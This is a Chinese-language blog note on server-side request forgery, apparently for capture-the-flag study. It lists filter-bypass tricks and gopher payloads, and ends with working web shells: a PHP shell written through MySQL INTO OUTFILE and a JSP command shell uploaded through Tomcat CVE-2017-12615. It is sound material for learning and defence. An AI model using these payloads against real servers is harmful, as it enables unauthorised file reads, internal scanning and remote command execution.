SSRF

tricks

http://xxx.github.io@localhost 这种URL中,@符号前的部分(xxx.github.io)是用来提供用户信息的(通常是用户名和密码),实际请求会发送到@符号后面的部分(即localhost)。这是因为根据URL的标准格式,@符号前的内容被解释为“用户信息”,而不是实际的主机名。

这种方式可以被利用来绕过一些基于主机名的安全检查。比如,如果某个系统检查URL中是否包含某个域名,如github.io,并认为只要包含这个域名就是安全的,但没有进一步解析和验证@符号之后的部分,这样的系统就可能被绕过。

基础

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

协议

1
2
3
4
5
6
7
file://		从文件系统中获取文件内容,如 	file:///etc/passwd
dict:// 字典服务协议,访问字典资源,如 dict:///ip:6739/info:
ftp:// 可用于网络端口扫描
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务
file

查找内网存活主机IP

1
2
3
4
5
file://filepath            从文件系统中获取文件内容
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib_trie 显示当前网段路由信息
dict

字典服务协议,访问字典资源
查找内网主机开放端口
可用于:扫描端口、获取内网信息、爆破密码等
dict://172.251.250.1:6397/info

http

目录扫描

gopher

第一位字符作为填充位(也就是说不转发第一个字符)
基本格式:url:gopher://<host>:<port>/<gopher-path>
默认端口是70

gopher://172.250.250.4:80/_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET提交
gopher://172.250.250.4:80/_GET /name.php?name=test HTTP/1.1
Host: 172.250.250.4

POST提交需要保留头部信息:
POST
Host:
Content-Type:
Content-Length:

eg:
url=gopher://172.250.250.4:80/_POST /name.php HTTP/1.1
Host: 172.250.250.4
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

name=test

注意事项:
?需要URL编码
回车换行要变为%0d%0a,直接工具可能是%0a
HTTP包最后要加%0d%0a
burp发包需要url编码两次

绕过

环回地址绕过

1
2
3
4
#!/bin/bash
ip="127.0.0.1"
hex_ip=$(printf '%02x' ${ip//./ })
echo $hex_ip

得到127.0.0.1的16进制是0x7f000001

1
2
3
4
5
6
7
http://127.0.0.1/flag.php
八进制
http://017700000001/flag.php 点分式 http://0177.0000.0000.0001/flag.php
十六进制
http://0x7F000001/flag.php 点分式 http://0x7F.0x00.0x00.0x01/flag.php
十进制
http://2130706433/flag.php
1
2
3
4
5
6
当有的对跳转的地址的长度有要求
host<5
url=http://0/flag.php
url=http://127.1/flag.php
host<3
url=http://0/flag.php

302重定向绕过

file:index.php
1
<?php header("Location: http://127.0.0.1/flag.php")?>

php -S 0.0.0.0:1234

使用https://tinyurl.com生成302跳转地址(https://tinyurl.xn--com302-u20k9dv69h8r7bzc7cjyd/)

DNS重绑定绕过

原理:服务器两次解析同一域名的短暂间隙,更换域名背后的ip,达到突破同源策略或过WAF进行SSRF的目的
DNS中的机制TTL:域名和IP绑定关系的Cache存活的最长时间。
某些情况下,可以对同一个域名设置两个记录(一个内网、一个外网),随机访问一个,概率成功

https://lock.cmpxchg8b.com/rebinder.html
http://7f000001.c0a80001.rbndr.us/flag.php

域名绕过

限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com

其他绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
当不允许ip为内网地址时
1)采取短网址绕过 https://0x9.me/cuGfD
推荐:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/
2)采取特殊域名
3)采取进制转换

白名单,一定要请求某个IP或域名的情况,这个时候在url后面跟上@符号,浏览器会访问@后面的域名或ip eg:http://abc.com@127.0.0.1
句号绕过 127。0。0。1 >>> 127.0.0.1
利用[::]绕过 http://[::]:80/ >>> http://127.0.0.1


可以指向任意ip的域名 
xip.io
[xip.io](http://xip.io/)
[xip.io127.0.0.1.xip.io](http://xip.io127.0.0.1.xip.io/) -->127.0.0.1
[www.127.0.0.1.xip.io](http://www.127.0.0.1.xip.io/) -->127.0.0.1
[Haha.127.0.0.1.xip.io](http://haha.127.0.0.1.xip.io/) -->127.0.0.1
[Haha.xixi.127.0.0.1.xip.io](http://haha.xixi.127.0.0.1.xip.io/) -->127.0.0.1
原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1

SSRF利用

对MySQL进行未授权查询

1
2
3
4
tcpdump -i lo port 3306 -w mysql.pcapng
#-w 写文件,在根目录下
mysql -h127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"
show databases;

将抓取的文件复制到本地,Wireshark打开,跟踪TCP流,筛选目标端口3306,show data as raw data

1
2
3
5b0000000a352e352e352d31302e31312e322d4d6172696144422d3100210000006e673b2e72767b2700fef72d0200ff81150000000000001d0000004b24702e2e3c243f4f502669006d7973716c5f6e61746976655f70617373776f726400
bb00000184a2bf000000000121000000000000000000000000000000000000001d000000726f6f7400006d7973716c5f6e61746976655f70617373776f7264007e035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f7069640531323339390f5f636c69656e745f76657273696f6e05332e332e34095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e31
32000002ffa2062332383030304163636573732064656e69656420666f7220757365722027726f6f742740276c6f63616c686f737427

复制数据去掉换行,ASCII转URL编码

1
2
3
4
5
6
7
8
import sys
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

if __name__=="__main__":
s=sys.argv[1]
print(results(s))

复制,更改对应IP

1
2
3
4
5
git clone https://github.com/tarunkant/Gopherus
python2.7 gopherus.py --exploit mysql
会输出:
Give MYSQL username:
Give query to execute:

对MySQL未授权文件写入

查看写入权限

1
2
3
python2.7 gopherus.py --exploit mysql
Give MYSQL username: root
Give query to execute: show variables like '%secure%';

secure_file_priv后面为空则可写入
使用into outfile生成cmd.php写入一句话木马

1
2
3
python2.7 gopherus.py --exploit mysql
Give MYSQL username: root
Give query to execute: select "<?php system($_GET['cmd']);?>" into outfile '/var/www/html/cmd.php'

对tomcat文件写入

利用Tomcat漏洞,CVE-2017-12615进行任意文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PUT /1.jsp/ HTTP/1.1
HOST: ip:8080
Accetp: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

<%
String command = request.getParameter("cmd");
if(command!=null){
java.io.InputStream
in=Runtime.getRuntime().exec(command).getInputStream();
int a=-1;
byte[] b= new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
else{
out.print("format: xxx.jsp?cmd=Command");
}
%>

利用gopher,然后burp两次URL编码后提交


SSRF
http://example.com/2024/10/22/SSRF/
Author
chaye
Posted on
October 22, 2024
Licensed under